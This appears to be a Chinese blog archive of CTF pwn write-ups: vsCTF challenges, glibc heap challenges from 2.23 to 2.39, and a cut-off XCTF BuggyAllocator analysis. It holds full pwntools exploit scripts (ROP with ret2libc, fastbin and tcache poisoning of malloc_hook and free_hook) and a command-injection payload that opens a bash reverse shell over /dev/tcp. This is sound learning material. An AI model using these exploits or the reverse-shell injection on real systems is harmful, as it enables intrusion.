        """Missing associated documentation comment in .proto file."""
        context.set_code(grpc.StatusCode.UNIMPLEMENTED)
        context.set_details('Method not implemented!')
        raise NotImplementedError('Method not implemented!')


def add_GGBondServerServicer_to_server(servicer, server):
    rpc_method_handlers = {
            'Handler': grpc.unary_unary_rpc_method_handler(
                    servicer.Handler,
                    request_deserializer=ggbond__pb2.Request.FromString,
                    response_serializer=ggbond__pb2.Response.SerializeToString,
            ),
    }
    generic_handler = grpc.method_handlers_generic_handler(
            'GGBond.GGBondServer', rpc_method_handlers)
    server.add_generic_rpc_handlers((generic_handler,))
    server.add_registered_method_handlers('GGBond.GGBondServer', rpc_method_handlers)


 # This class is part of an EXPERIMENTAL API.
class GGBondServer(object):
    """Missing associated documentation comment in .proto file."""

    @staticmethod
    def Handler(request,
            target,
            options=(),
            channel_credentials=None,
            call_credentials=None,
            insecure=False,
            compression=None,
            wait_for_ready=None,
            timeout=None,
            metadata=None):
        return grpc.experimental.unary_unary(
            request,
            target,
            '/GGBond.GGBondServer/Handler',
            ggbond__pb2.Request.SerializeToString,
            ggbond__pb2.Response.FromString,
            options,
            channel_credentials,
            insecure,
            call_credentials,
            compression,
            wait_for_ready,
            timeout,
            metadata,
            _registered_method=True)

其中ggbond_pb2.py 定义了交互的时候消息的数据结构

ggbond_pb2_grpc.py 定义了交互的时候 接收 处理 响应请求的代码

通过grpc_tools 生成ggbond_pb2_grpc.py ggbond_pb2.py这两个文件后,就要弄清楚这两个库该怎么用,还有交互的板子该怎么写的问题

protobuf中定义了一个叫 GGBondServer的 rpc服务,其中有三个 request请求

syntax = "proto3";

package GGBond;

option go_package = "./;ggbond";

service GGBondServer {
    rpc Handler(Request) returns (Response);
}

message Request {
    oneof request {
        WhoamiRequest whoami = 100;
        RoleChangeRequest role_change = 101;
        RepeaterRequest repeater = 102;
    }
}

message Response {
    oneof response {
        WhoamiResponse whoami = 200;
        RoleChangeResponse role_change = 201;
        RepeaterResponse repeater = 202;
        ErrorResponse error = 444;
    }
}

message WhoamiRequest {
    
}

message WhoamiResponse {
    string message = 2000;
}

message RoleChangeRequest {
    uint32 role = 1001;
}

message RoleChangeResponse {
    string message = 2001;
}

message RepeaterRequest {
    string message = 1002;
}

message RepeaterResponse {
    string message = 2002;
}

message ErrorResponse {
    string message = 4444;
}
Read More
post @ 2024-06-19

题目附件https://github.com/nyyyddddn/ctf/tree/main/vsctf_pwn

pwn

cosmic-ray-v3

程序的逻辑

int __cdecl main(int argc, const char **argv, const char **envp)
{
  signed __int64 v3; // rax

  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  cosmic_ray();
  v3 = sys_exit(0);
  return 0;
}

__int64 cosmic_ray()
{
  __off_t offset; // [rsp+8h] [rbp-28h] BYREF
  char v2; // [rsp+12h] [rbp-1Eh] BYREF
  char buf; // [rsp+13h] [rbp-1Dh] BYREF
  unsigned int v4; // [rsp+14h] [rbp-1Ch] BYREF
  __int64 v5; // [rsp+18h] [rbp-18h]
  __int64 v6; // [rsp+20h] [rbp-10h]
  int fd; // [rsp+28h] [rbp-8h]
  int i; // [rsp+2Ch] [rbp-4h]

  puts("Enter an address to send a cosmic ray through:");
  __isoc99_scanf("0x%lx", &offset);
  getchar();
  putchar(10);
  fd = open("/proc/self/mem", 2);
  lseek(fd, offset, 0);
  read(fd, &buf, 1uLL);
  v6 = byte_to_binary((unsigned int)buf);
  puts("|0|1|2|3|4|5|6|7|");
  puts("-----------------");
  putchar(124);
  for ( i = 0; i <= 7; ++i )
    printf("%d|", (unsigned int)*(char *)(i + v6));
  putchar(10);
  putchar(10);
  puts("Enter the bit position to flip:");
  __isoc99_scanf("%d", &v4);
  getchar();
  if ( v4 >= 8 )
    exit(1);
  v5 = flip_bit(v6, v4);
  v2 = binary_to_byte(v5);
  putchar(10);
  printf("Bit succesfully flipped! New value is %d\n\n", (unsigned int)v2);
  lseek(fd, offset, 0);
  write(fd, &v2, 1uLL);
  return 0LL;
}

这里很神奇的地方是cosmic_ray其实能翻转没有写权限段的数据,通过/proc/self/mem linux中的伪文件系统实现的

然后程序中有一个很奇怪的地方,这个exit是通过内联汇编实现的exit,手工fuzz了好久,发现翻转 0xb8可以将 mov eax,0x3c 变成 mov edx,0x3c,也就是syscall read,刚刚好能溢出,覆盖返回地址六个字节,main函数的返回地址是libc_start_main上的地址,刚刚好是六个字节

这时候想到的做法是,先翻转 0xb8回到main后,再将syscall read的rdx改大,这样就可以打rop了,高版本glibc csu函数变成动态链接,所以没有好用的修改寄存器的gadget,但是可以通过cosmic_ray 去写gadget,只需要写一个pop rdi ret的gadget,打ret2libc就好了

.text:00000000004015E0 E8 E9 FD FF FF                call    cosmic_ray
.text:00000000004015E0
.text:00000000004015E5 B8 3C 00 00 00                mov     eax, 3Ch ; '<'
.text:00000000004015EA 48 31 FF                      xor     rdi, rdi                        ; error_code
.text:00000000004015ED 0F 05                         syscall                                 ; LINUX - sys_exit
.text:00000000004015EF B8 00 00 00 00                mov     eax, 0
.text:00000000004015F4 5D                            pop     rbp
.text:00000000004015F5 C3                            retn
.text:00000000004015F5                               ; } // starts at 4015AB

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "vsc.tf"
PORT = 7000

elf = context.binary = ELF('./cosmicrayv3')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

addr = "0x4015E5"
main = 0x4015AF
bss = 0x3fe000

# .text:00000000004015E5 B8 3C 00 00 00                mov     eax, 3Ch ; '<'
# .text:00000000004015EA 48 31 FF                      xor     rdi, rdi                        ; error_code
# .text:00000000004015ED 0F 05                         syscall    


sla("Enter an address to send a cosmic ray through:",addr)
sla("Enter the bit position to flip:","6") # stackover flow

# .text:00000000004015AF 55                            push    rbp
# .text:00000000004015B0 48 89 E5                      mov     rbp, rsp
# .text:00000000004015B3 48 8B 05 66 2A 00 00          mov     rax, cs:stdout@GLIBC_2_2_5
# .text:00000000004015BA BE 00 00 00 00                mov     esi, 0                          ; buf
# .text:00000000004015BF 48 89 C7                      mov     rdi, rax                        ; stream
# .text:00000000004015C2 E8 49 FB FF FF                call    _setbuf

payload = b'a' * (0x3c - 0x6 - 0x8) + p64(bss + 0x100) + p32(0x4015B0) + b'\x00\x00'
s(payload) 


addr = "0x4015E7"
sla("Enter an address to send a cosmic ray through:",addr)
sla("Enter the bit position to flip:","2") # modify size
payload = b'a' * (0x36 - 0x8) + p64(bss + 0x100) + p64(0x4015B0)
s(payload)

# print(disasm(asm("pop rdi; ret")))
#    0:   5f                      pop    rdi 01011111
#    1:   c3                      ret 11000011

# 0x40100c - 0x40100d 0x2f(00101111) 0x00(00000000)
# 1 2 3
# 0 1 6 7


addr = "0x40100c"
sla("Enter an address to send a cosmic ray through:",addr)
sla("Enter the bit position to flip:","1")
payload = b'a' * (0x36 - 0x8) + p64(bss + 0x100) + p64(0x4015B0)
s(payload)


sla("Enter an address to send a cosmic ray through:",addr)
sla("Enter the bit position to flip:","2")
s(payload)

sla("Enter an address to send a cosmic ray through:",addr)
sla("Enter the bit position to flip:","3")
s(payload)

addr = "0x40100d"

sla("Enter an address to send a cosmic ray through:",addr)
sla("Enter the bit position to flip:","0")
s(payload)

sla("Enter an address to send a cosmic ray through:",addr)
sla("Enter the bit position to flip:","1")
s(payload)

sla("Enter an address to send a cosmic ray through:",addr)
sla("Enter the bit position to flip:","6")
s(payload)

sla("Enter an address to send a cosmic ray through:",addr)
sla("Enter the bit position to flip:","7")
s(payload)


pop_rdi_ret = 0x000000000040100c
getchar_got = elf.got['getchar']
puts_plt = elf.plt['puts']


addr = "0x3fe100" # useless
sla("Enter an address to send a cosmic ray through:",addr)
sla("Enter the bit position to flip:","7")
payload = b'a' * (0x36 - 0x8) + p64(bss + 0x100) + p64(pop_rdi_ret) + p64(getchar_got) + p64(puts_plt) + p64(0x00000000004015AF)
s(payload)

rl()
rl()
rl()
r(1)
libc_base = u64(r(6).ljust(8,b'\x00')) - (0x7c5725c87ae0 - 0x7c5725c00000)
success(f"libc_base ->{hex(libc_base)}")

system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
ret = 0x000000000040101a

addr = "0x3fe100" # useless
sla("Enter an address to send a cosmic ray through:",addr)
sla("Enter the bit position to flip:","7")
payload = b'a' * (0x36 - 0x8) + p64(bss + 0x100) + p64(pop_rdi_ret) + p64(binsh) + p64(ret) + p64(system)
# g(p)
s(payload)




p.interactive()

vs-gateway

程序的逻辑

use std::io::{self, Write};
use std::process::{Command, self};
use std::fs;
use md5;
use rand::{self, Rng};

pub static mut ESSID: String = String::new();
static BSSID: &str = "94:4e:6f:d7:bf:05";
static mut BAND: String = String::new();
static mut CHANNEL: i32 = 0;
static mut WIFI_PASSWORD: String = String::new();
static mut ID: u64 = 0;

fn check_password(password: String) -> bool{
    let digest = md5::compute(password.trim());
    if format!("{:x}", digest) == "e10adc3949ba59abbe56e057f20f883e" {
        true
    }
    else{
        false
    }
}

fn auth() -> bool{
    let mut username = String::new();
    let mut password = String::new();

    print!("Username: ");
    io::stdout().flush().unwrap();
    io::stdin().read_line(&mut username).expect("Cannot read username!");
    
    print!("Password: ");
    io::stdout().flush().unwrap();
    io::stdin().read_line(&mut password).expect("Cannot read username!");

    if username.trim() == "admin" && check_password(password){
        println!("Access granted!");
        true
    }
    else{
        println!("Access forbidden!");
        false
    }
}

fn save_properties_to_file(){
    unsafe{
        let cmd = format!("echo \"{ESSID}\\n{BAND}\\n{CHANNEL}\\n{WIFI_PASSWORD}\" > /tmp/{ID}.conf");
        Command::new("/bin/sh")
                        .arg("-c")
                        .arg(cmd)
                        .output()
                        .expect("Failed to execute command");
    }
}

fn show_properties(){
    unsafe{
        println!("--- PROPERTIES -----------------------------");
        println!("Essid\t\t{ESSID}");
        println!("Bssid\t\t{BSSID}");
        println!("Band\t\t{BAND}GHz");
        println!("Channel\t\t{CHANNEL}");
        println!("Password\t{WIFI_PASSWORD}\n");
    }
}

fn change_essid(){
    let mut input: String = String::new();
    let mut done = false;

    unsafe{
        println!("Current essid: {ESSID}");
        while !done {
            done = true;
            print!("New essid: ");
            io::stdout().flush().unwrap();
            input.clear();
            io::stdin().read_line(&mut input).expect("Failed to readline");
            for c in input.trim().chars(){
                if !"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 ".contains(c){
                    done = false;
                    break
                }
            }
        }
        ESSID = input.trim().to_owned();
        println!("Done!");
    }
    save_properties_to_file();
}

fn change_wifi_band(){
    unsafe{
        println!("Current band: {BAND}GHz");
        if BAND=="2.4"{
            BAND = String::from("5");
            CHANNEL = 100;
        }
        else{
            BAND = String::from("2.4");
            CHANNEL = 6;
        }
        println!("New band: {BAND}GHz");
    }
    save_properties_to_file();
}

fn change_channel(){
    let mut input: String = String::new();
    let mut channel_tmp: i32;

    unsafe{
        print!("Current band: {BAND}GHz ");
        if BAND == "2.4"{
            println!("(from 1 to 11)")
        }
        else{
            println!("(from 36 to 165)")
        }
        println!("Current channel: {CHANNEL}");
        loop {
            print!("New channel: ");
            io::stdout().flush().unwrap();
            input.clear();
            io::stdin().read_line(&mut input).expect("Failed to readline");
            channel_tmp = input.trim().parse().expect("Invalid number");
            if BAND == "2.4" && (1..12).contains(&channel_tmp){
                CHANNEL = channel_tmp;
                break;
            }
            else if BAND == "5" && (36..166).contains(&channel_tmp){
                CHANNEL = channel_tmp;
                break;
            }
        }
        println!("Done!\n");
    }
    save_properties_to_file();
}

fn change_wifi_password(){
    let mut input: String = String::new();

    unsafe{
        println!("Current password: {WIFI_PASSWORD}");
        print!("New password: ");
        io::stdout().flush().unwrap();
        input.clear();
        io::stdin().read_line(&mut input).expect("Failed to readline");
        WIFI_PASSWORD = input.trim().to_owned();
        println!("Done!");
    }
    save_properties_to_file();
}

fn menu(){
    println!("--- MENU ---------------------");
    println!("1. Show properties");
    println!("2. Change essid");
    println!("3. Change wifi band");
    println!("4. Change channel");
    println!("5. Change wifi password");
    println!("6. Exit");
    print!("> ");
    io::stdout().flush().unwrap();
}

fn load_data(){
    unsafe{
        ID = rand::thread_rng().gen_range(1..0xffffffffffffffff);

        let cmd = format!("echo \"View Source Guest\\n2.4\\n6\\n123456789\" > /tmp/{ID}.conf");
        Command::new("/bin/sh")
                        .arg("-c")
                        .arg(cmd)
                        .output()
                        .expect("Failed to execute command");

        let datas = fs::read_to_string(format!("/tmp/{ID}.conf")).expect("Cannot load default data");
        let mut parts = datas.split("\n");
        ESSID   = parts.nth(0).expect("Error when parsing essid").to_owned();
        BAND    = parts.nth(0).expect("Error when parsing band").to_owned();
        CHANNEL = parts.nth(0).expect("Error when parsing channel").to_owned().parse().unwrap();
        WIFI_PASSWORD = parts.nth(0).expect("Error when parsing wifi password").to_owned();
    }
}

fn run(){
    let mut choice;
    let mut input = String::new();

    load_data();
    show_properties();
    loop {
        menu();
        input.clear();
        io::stdin().read_line(&mut input).expect("Cannot read input!");
        choice = match input.trim().parse() {
            Ok(num) => num,
            _ => 0
        };
        match choice {
            1 => show_properties(),
            2 => change_essid(),
            3 => change_wifi_band(),
            4 => change_channel(),
            5 => change_wifi_password(),
            6 => {
                unsafe{
                    fs::remove_file(format!("/tmp/{ID}.conf")).unwrap();
                }
                break
            },
            _ => {
                println!("Invalid choice!");
            },
        }
    }
}

fn main() {
    println!("----------------------------");
    println!("|        VS Gateway        |");
    println!("----------------------------");

    if auth(){
        run();
    }
    process::exit(0);
}

程序是rust语言写的不太熟悉rust,不过程序逻辑很简单,很快就找到漏洞了,每次更新Gateway状态的时候都会调用save_properties_to_file() 这个函数,这个函数的功能是使用shell中 echo的方式将Gateway的状态写到配置文件中,存在一个命令注入,其中修改wifi密码选项那,没有做任何检查,只需要截断一下命令就好了 也就是构造 ;command;# 这样的表达式

fn save_properties_to_file(){
    unsafe{
        let cmd = format!("echo \"{ESSID}\\n{BAND}\\n{CHANNEL}\\n{WIFI_PASSWORD}\" > /tmp/{ID}.conf");
        Command::new("/bin/sh")
                        .arg("-c")
                        .arg(cmd)
                        .output()
                        .expect("Failed to execute command");
    }
}

不过很奇怪的地方是,执行命令后没有回显,尝试重定向fd 还有 /dev/stdout这样的伪文件系统去输出结果,都不太行,后面想到可以反弹shell

password123";/bin/bash -c "/bin/bash -i >& /dev/tcp/127.0.0.1/6666 0>&1";#

shs

程序的逻辑

Read More
post @ 2024-06-04

pwn

heap-2.23

程序逻辑

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int v3; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  sub_400866(a1, a2, a3);
  v3 = 0;
  while ( 1 )
  {
    init_0();
    __isoc99_scanf("%d", &v3);
    switch ( v3 )
    {
      case 1:
        add();
        break;
      case 2:
        delete();
        break;
      case 3:
        show();
        break;
      case 4:
        edit();
        break;
      case 5:
        free_all();
      default:
        puts("error!");
        break;
    }
  }
}

__int64 add()
{
  __int64 result; // rax
  int v1; // ebx
  unsigned int v2; // [rsp+0h] [rbp-20h] BYREF
  int v3; // [rsp+4h] [rbp-1Ch] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-18h]

  v4 = __readfsqword(0x28u);
  v2 = 0;
  v3 = 0;
  printf("idx? ");
  __isoc99_scanf("%d", &v2);
  if ( v2 > 0xF || *(&ptr + (int)v2) )
  {
    puts("error !");
    return 0LL;
  }
  else
  {
    printf("size? ");
    __isoc99_scanf("%d", &v3);
    v1 = v2;
    *(&ptr + v1) = malloc(v3);
    if ( !*(&ptr + (int)v2) )
    {
      puts("malloc error!");
      exit(1);
    }
    result = (int)v2;
    *((_DWORD *)&nbytes + (int)v2) = v3;
  }
  return result;
}

void delete()
{
  unsigned int v0; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  v0 = 0;
  printf("idx? ");
  __isoc99_scanf("%d", &v0);
  if ( v0 <= 0xF && *(&ptr + (int)v0) )
    free(*(&ptr + (int)v0));
  else
    puts("no such chunk!");
}

int show()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  v1 = 0;
  printf("idx? ");
  __isoc99_scanf("%d", &v1);
  if ( v1 <= 0xF && *(&ptr + (int)v1) )
    return printf("content : %s\n", (const char *)*(&ptr + (int)v1));
  puts("no such chunk!");
  return 0;
}

ssize_t edit()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  v1 = 0;
  printf("idx? ");
  __isoc99_scanf("%d", &v1);
  if ( v1 <= 0xF && *(&ptr + (int)v1) )
  {
    puts("content : ");
    return read(0, *(&ptr + (int)v1), *((unsigned int *)&nbytes + (int)v1));
  }
  else
  {
    puts("no such chunk!");
    return 0LL;
  }
}

ssize_t edit()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  v1 = 0;
  printf("idx? ");
  __isoc99_scanf("%d", &v1);
  if ( v1 <= 0xF && *(&ptr + (int)v1) )
  {
    puts("content : ");
    return read(0, *(&ptr + (int)v1), *((unsigned int *)&nbytes + (int)v1));
  }
  else
  {
    puts("no such chunk!");
    return 0LL;
  }
}

void __noreturn free_all()
{
  int i; // [rsp+Ch] [rbp-4h]

  for ( i = 0; i <= 15; ++i )
  {
    if ( !*(&ptr + i) )
    {
      free(*(&ptr + i));
      *(&ptr + i) = 0LL;
      *((_DWORD *)&nbytes + i) = 0;
    }
  }
  exit(0);
}

存在 uaf,通过申请unsortedbin 去泄露libc基地址后,fastbin attack,通过错位字节绕过size检查的宏,写malloc hook为one gadget 触发 one gadget拿shell

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "node2.anna.nssctf.cn"
PORT = 28922

elf = context.binary = ELF('./heap')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()


def add(idx,size):
    sla(">>",str(1))
    sla("idx?",str(idx))
    sla("size?",str(size))



def show(idx):
    sla(">>",str(3))
    sla("idx?",str(idx))


def delete(idx):
    sla(">>",str(2))
    sla("idx?",str(idx))


def edit(idx,content):
    sla(">>",str(4))
    sla("idx?",str(idx))
    sa("content :",content)


add(0,0x98)
add(1,0x98)
delete(0)
show(0)

ru("content : ")
leak = u64(r(6).ljust(8,b'\x00'))
libc_base = leak - (0x74afcefc4b78 - 0x74afcec00000)
success(f"libc_base ->{hex(libc_base)}")

# 0x45226 execve("/bin/sh", rsp+0x30, environ)
# constraints:
#   rax == NULL

# 0x4527a execve("/bin/sh", rsp+0x30, environ)
# constraints:
#   [rsp+0x30] == NULL

# 0xf03a4 execve("/bin/sh", rsp+0x50, environ)
# constraints:
#   [rsp+0x50] == NULL

# 0xf1247 execve("/bin/sh", rsp+0x70, environ)
# constraints:
#   [rsp+0x70] == NULL

malloc_hook = libc_base + libc.sym['__malloc_hook']
one_gadget = libc_base + 0xf1247

add(2,0x68)
add(3,0x68)
add(4,0x68)

delete(2)
delete(3)

edit(2,p64(malloc_hook - 0x23))


add(5,0x68)
add(6,0x68)
add(7,0x68)


success(hex(malloc_hook))
success(hex(malloc_hook - 0x23))
success(hex(one_gadget))
edit(7,b"a" * 0x13 + p64(one_gadget))
add(9,0x20)


# g(p)

p.interactive()

heap-2.27

逻辑与漏洞和2.23相同,2.27中加入了tcache 可以使用tcache poison去实现任意地址写的原语写free hook去getshell

exp:

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "47.100.139.115"
PORT = 30708

elf = context.binary = ELF('./heap')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

def add(idx,size):
    sla(">>",str(1))
    sla("idx?",str(idx))
    sla("size?",str(size))

def show(idx):
    sla(">>",str(3))
    sla("idx?",str(idx))


def delete(idx):
    sla(">>",str(2))
    sla("idx?",str(idx))


def edit(idx,content):
    sla(">>",str(4))
    sla("idx?",str(idx))
    sa("content :",content)


for i in range(9):
    add(i,0x80)

for i in range(8):
    delete(i)


show(7)
ru("content : ")
leak = u64(r(6).ljust(8,b'\x00'))
libc_base = leak - (0x7461d0bebca0 - 0x7461d0800000)
success(hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']


edit(5,p64(free_hook))

add(9,0x80)
add(10,0x80)
add(11,0x80)

edit(10,b'/bin/sh\x00')
edit(11,p64(system))
delete(10)




p.interactive()

heap-2.31

glibc 2.31 程序逻辑和漏洞 与 glibc 2.23相同,加入tcache后,fastbin attack 关于chunk_size的检查的宏就移除了,同时也可以通过tcache poison实现任意地址写,写free hook为system,之后free一个内容为binsh的堆触发free hook执行 system binsh

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "node3.anna.nssctf.cn"
PORT = 28653

elf = context.binary = ELF('./heap')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

def add(idx,size):
    sla(">>",str(1))
    sla("idx?",str(idx))
    sla("size?",str(size))

def show(idx):
    sla(">>",str(3))
    sla("idx?",str(idx))

def delete(idx):
    sla(">>",str(2))
    sla("idx?",str(idx))

def edit(idx,content):
    sla(">>",str(4))
    sla("idx?",str(idx))
    sa("content :",content)

for i in range(9):
    add(i,0x88)

for i in range(8):
    delete(i)

show(7)
ru("content : ")
leak = u64(r(6).ljust(8,b'\x00'))
libc_base = leak - (0x7229e071cbe0 - 0x7229e0530000)
success(hex(libc_base))

free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']


edit(5,p64(free_hook))

add(10,0x88)
add(11,0x88)
add(12,0x88)
edit(12,p64(system))
edit(11,b'/bin/sh\x00')
delete(11)
# g(p)

p.interactive()

heap-2.35

iofile house of apple2或者是 environ泄露栈地址栈上写rop

heap-2.39

2.39 程序的逻辑和前面几个题目的逻辑不太一样,能申请的堆块最小为0x40f ,最大为 0x1000

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v5; // [rsp+8h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  init(argc, argv, envp);
  v4 = 0;
  while ( 1 )
  {
    menu();
    __isoc99_scanf("%d", &v4);
    switch ( v4 )
    {
      case 1:
        create();
        break;
      case 2:
        delete();
        break;
      case 3:
        show();
        break;
      case 4:
        edit();
        break;
      case 5:
        Exit();
      default:
        puts("error!");
        break;
    }
  }
}

__int64 create()
{
  __int64 result; // rax
  int v1; // ebx
  unsigned int v2; // [rsp+0h] [rbp-20h] BYREF
  int v3; // [rsp+4h] [rbp-1Ch] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-18h]

  v4 = __readfsqword(0x28u);
  v2 = 0;
  v3 = 0;
  printf("idx? ");
  __isoc99_scanf("%d", &v2);
  if ( v2 > 0xF || ptr[v2] || (printf("size? "), __isoc99_scanf("%d", &v3), v3 <= 1039) || v3 > 4096 )
  {
    puts("error !");
    return 0LL;
  }
  else
  {
    v1 = v2;
    ptr[v1] = malloc(v3);
    if ( !ptr[v2] )
    {
      puts("malloc error!");
      exit(1);
    }
    result = (unsigned int)v3;
    ptr_size[v2] = v3;
  }
  return result;
}

void delete()
{
  unsigned int v0; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  v0 = 0;
  printf("idx? ");
  __isoc99_scanf("%d", &v0);
  if ( v0 <= 0xF && ptr[v0] )
    free((void *)ptr[v0]);
  else
    puts("no such chunk!");
}

int show()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  v1 = 0;
  printf("idx? ");
  __isoc99_scanf("%d", &v1);
  if ( v1 <= 0xF && ptr[v1] )
    return printf("content : %s\n", (const char *)ptr[v1]);
  puts("no such chunk!");
  return 0;
}

ssize_t edit()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  v1 = 0;
  printf("idx? ");
  __isoc99_scanf("%d", &v1);
  if ( v1 <= 0xF && ptr[v1] )
  {
    puts("content : ");
    return read(0, (void *)ptr[v1], (unsigned int)ptr_size[v1]);
  }
  else
  {
    puts("no such chunk!");
    return 0LL;
  }
}

void __noreturn Exit()
{
  int i; // [rsp+Ch] [rbp-4h]

  for ( i = 0; i <= 15; ++i )
  {
    if ( !ptr[i] )
    {
      free((void *)ptr[i]);
      ptr[i] = 0LL;
      ptr_size[i] = 0;
    }
  }
  exit(0);
}
Read More
post @ 2024-05-30

xctf_BuggyAllocator复现

程序有 alloc 和dealloc两个选项

__int64 menu()
{
  __int64 v0; // rax
  __int64 v1; // rax
  __int64 v2; // rax

  v0 = std::operator<<<std::char_traits<char>>(&std::cout, "*** Buggy  Allocator***");
  std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);
  v1 = std::operator<<<std::char_traits<char>>(&std::cout, "***     1. Alloc    ***");
  std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
  v2 = std::operator<<<std::char_traits<char>>(&std::cout, "***     2. Dealloc  ***");
  std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
  return std::operator<<<std::char_traits<char>>(&std::cout, "> ");
}

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  __int64 v3; // rax
  int choice; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v5; // [rsp+8h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  sub_4019D7(a1, a2, a3);
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      std::istream::operator>>(&std::cin, &choice);
      if ( choice != 1 )
        break;
      add();
    }
    if ( choice != 2 )
    {
      v3 = std::operator<<<std::char_traits<char>>(&std::cout, "Invalid Choice");
      std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
      exit(0);
    }
    delete();
  }
}

,其中alloc申请大于 0x80 会使用malloc函数分配内存(ptmalloc2),小于等于 0x80会使用自定义的堆管理器去分配内存

_QWORD *__fastcall alloc_memory(size_t size)
{
  __int64 v2; // rax
  _QWORD **v3; // [rsp+18h] [rbp-18h]
  _QWORD *v4; // [rsp+20h] [rbp-10h]

  if ( !size )
    return 0LL;
  if ( size > 0x80 )
    return malloc_(size);
  v3 = (_QWORD **)&free_list[get_idx(size)];
  v4 = *v3;
  if ( *v3 )
  {
    *v3 = (_QWORD *)*v4;
    return v4;
  }
  else
  {
    v2 = Alignment_size(size);
    return refill(v2);
  }
}

自定义的堆管理器维护一个free_list,申请内存的时候,当free list中没有申请大小的堆块时,就会调用refill 填充空闲区域(arena_end - arena_start),填充完后free list中拿,当空闲区域不够refill的时候会判断free list中有没有更大的堆块可以进行refill,如果都不满足会调用malloc申请名称

_QWORD *__fastcall refill(unsigned __int64 size)
{
  int nobjs; // [rsp+18h] [rbp-38h] BYREF
  int i; // [rsp+1Ch] [rbp-34h]
  _QWORD *current_obj; // [rsp+20h] [rbp-30h]
  _QWORD *v5; // [rsp+28h] [rbp-28h]
  _QWORD *my_free_list; // [rsp+30h] [rbp-20h]
  _QWORD *v7; // [rsp+38h] [rbp-18h]
